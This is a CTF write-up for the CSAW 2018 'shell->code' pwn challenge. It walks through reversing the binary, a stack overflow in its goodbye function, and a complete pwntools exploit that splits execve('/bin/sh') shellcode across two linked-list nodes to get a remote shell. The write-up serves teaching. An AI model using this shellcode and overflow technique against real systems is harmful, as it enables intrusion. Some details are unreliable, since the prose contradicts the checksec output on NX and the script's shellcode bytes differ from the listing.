CSAW CTF 2018

Problem: shell->code (100, Pwn)
Linked lists are great! They let you chain pieces of data together.
nc pwn.chal.csaw.io 9005

Solution:
After downloading the file provided, I first examine it using the **file** command:

```
file shellpointcode
shellpointcode: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=214cfc4f959e86fe8500f593e60ff2a33b3057ee, not stripped
```

It is 64-bit LSB ELF executable and not stripped. I then run the **strings** command on the file:

```
[]A\A]A^A_
node.next: %p
node.buffer: %s
What are your initials?
Thanks %s
(15 bytes) Text for node 1:
(15 bytes) Text for node 2:
node1:
Linked lists are great!
They let you chain pieces of data together.
```

The above strings were the only interesting ones, though no assumptions can be made thus far as to what the binary entails. I then use the **checksec** command on the file and find that the file does not have a stack canary and has NX enabled:

```
checksec shellpointcode
[*] '/mnt/hgfs/ubuntu-shared/ctf/csaw18/shellcode/shellpointcode'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
```

Then, I run the file to obtain formatting information:

```
./shellpointcode
Linked lists are great!
They let you chain pieces of data together.

(15 bytes) Text for node 1:
AAAAAAAAAAAAAA
(15 bytes) Text for node 2:
BBBBBBBBBBBBBB
node1:
node.next: 0x7ffec70a7800
node.buffer: AAAAAAAAAAAAAA
What are your initials?
NP
Thanks NP

Segmentation fault (core dumped)
```

Then, I move on to use **radare2** and seek to **main** function. Inside the main function, I navigate to the **nononode** function:

```
push rbp
mov rbp, rsp
sub rsp, 0x40
lea rax, [local_40h]
mov qword [local_20h], rax
; 0xa9a
; "(15 bytes) Text for node 1:  "
lea rdi, str.15_bytes__Text_for_node_1:
; int puts(const char *s)
call sym.imp.puts;[ga]
lea rax, [local_20h]
add rax, 8
mov esi, 0xf
mov rdi, rax
call sym.readline;[gb]
; 0xab8
; "(15 bytes) Text for node 2: "
lea rdi, str.15_bytes__Text_for_node_2:
; int puts(const char *s)
call sym.imp.puts;[ga]
lea rax, [local_40h]
add rax, 8
mov esi, 0xf
mov rdi, rax
call sym.readline;[gb]
; 0xad5
; "node1: "
lea rdi, str.node1:
; int puts(const char *s)
call sym.imp.puts;[ga]
lea rax, [local_20h]
mov rdi, rax
call sym.printNode;[gc]
mov eax, 0
call sym.goodbye;[gd]
```

The program has two linked list nodes, with the first node at **rbp-0x20** and the second at **rbp-0x40**. The first 8 bytes of each node holds the address to a next node as seen from the fact that the address of **rbp-0x40** is assigned to **rbp-0x20,** but the actual buffer address given to **readline** function is **+8** bytes from each of the node's addresses. Examining the **printNode** function:

```
push rbp
mov rbp, rsp
sub rsp, 0x10
; arg1
mov qword [local_8h], rdi
mov rax, qword [local_8h]
lea rdx, [rax + 8]
mov rax, qword [local_8h]
mov rax, qword [rax]
mov rsi, rax
; 0xa58
; "node.next: %p\nnode.buffer: %s\n"
lea rdi, str.node.next:__p__node.buffer:__s
mov eax, 0
; int printf(const char *format)
call sym.imp.printf;[ga]
nop
```

This function prints node2's address and node1's buffer address on the stack. This is useful since ASLR is enabled and the program essentially gives the needed addresses for ROP programming. Next, examining the **goodbye** function in **nononode**:

```
push rbp
mov rbp, rsp
sub rsp, 0x10
; 0xa77
; "What are your initials?"
lea rdi, str.What_are_your_initials
; int puts(const char *s)
call sym.imp.puts;[ga]
; [0x201020:8]=0
mov rdx, qword [obj.stdin__GLIBC_2.2.5]
lea rax, [local_3h]
; "@"
mov esi, 0x20
mov rdi, rax
; char *fgets(char *s, int size, FILE *stre
call sym.imp.fgets;[gb]
lea rax, [local_3h]
mov rsi, rax
; 0xa8f
; "Thanks %s\n"
lea rdi, str.Thanks__s
mov eax, 0
; int printf(const char *format)
call sym.imp.printf;[gc]
nop
leave
```

This is where the buffer overflow vulnerability is since we are writing, starting at **rbp-0x3,** at most **0x20** bytes. Thus, the exploit is to overwrite the return address for this function to node1's buffer address, have node1 contain part of the shellcode then an instruction to jump to **rsp+8** (the start of node2's buffer at this point), and have node2's buffer contain rest of the shellcode. A 22 byte shellcode that I found through https://systemoverlord.com/2016/04/27/even-shorter-shellcode.html is:

```
xor esi, esi
push rsi
mov rbx, 0x68732f2f6e69622f
push rbx
push rsp
pop rdi
imul esi
mov al, 0x3b
syscall
```

Assembled via https://defuse.ca/online-x86-assembler.htm gives:

```
0:  31 f6                   xor    esi,esi
2:  56                      push   rsi
3:  48 bb 2f 62 69 6e 2f    movabs rbx,0x68732f2f6e69622f
a:  2f 73 68
d:  53                      push   rbx
e:  54                      push   rsp
f:  5f                      pop    rdi
10: f7 ee                   imul   esi
12: b0 3b                   mov    al,0x3b
14: 0f 05                   syscall
```

This has to be rearranged since we do not want any pushing prior to jumping to node2's buffer. Thus, we can simply have node1's buffer containing the bytes:

```
3:  48 bb 2f 62 69 6e 2f    movabs rbx,0x68732f2f6e69622f
a:  2f 73 68
    5e                      pop rsi
    ff e4                   jmp rsp
```

The pop rsi instruction is because node1's buffer will contain a newline so it can be discarded, and this will make **rsp** now point to node2's buffer. Node2's buffer can then contain:

```
0:  31 f6                   xor    esi,esi
2:  56                      push   rsi
d:  53                      push   rbx
e:  54                      push   rsp
f:  5f                      pop    rdi
10: f7 ee                   imul   esi
12: b0 3b                   mov    al,0x3b
14: 0f 05                   syscall
```

The exploit put together in a python3 script gave the flag:

```python
from pwn import *
from binascii import *

# shellcode source ==
https://systemoverlord.com/2016/04/27/even-shorter-shellcode.html


def get_flag():
    context.arch = 'amd64'
    local = False
    if local:
        c = process('./shellpointcode')
        context.terminal = 'sh'
        gdb.attach(c, 'break goodbye')
        # c = gdb.debug('./shellpointcode', gdbscript='''
        # break main
        # continue
        # ''')
    else:
        c = remote('pwn.chal.csaw.io', 9005)
    sc1 = '\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x5e\xff\xe4'
    sc2 = '\x31\xf6\x56\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05'
    # recv prompt
    o = c.recvuntil('1:')
    print('Received: ', o)
    c.recvline()
    # send part of shell code + jump to next node
    c.sendline(sc1)
    o = c.recvline()
    print('Received: ', o)
    c.sendline(sc2)
    o = c.recvuntil('?\n')
    n2_add = int(o.split('\n')[1].split(': ')[-1], 16)
    print('Received: ', o)
    print('n2_add is: ', hex(n2_add))
    # construct payload w/ RA being node 1 buffer
    pay_load = b"A" * (3) + pack(0xDEADBEEF) + pack(n2_add + 0x20 + 8)
    # print repr(pay_load)
    c.sendline(pay_load)
    c.recvline()
    # c.recvline()
    c.interactive()


if __name__ == "__main__":
    get_flag()
```

Flag:
flag{NONONODE_YOU_WRECKED_BRO}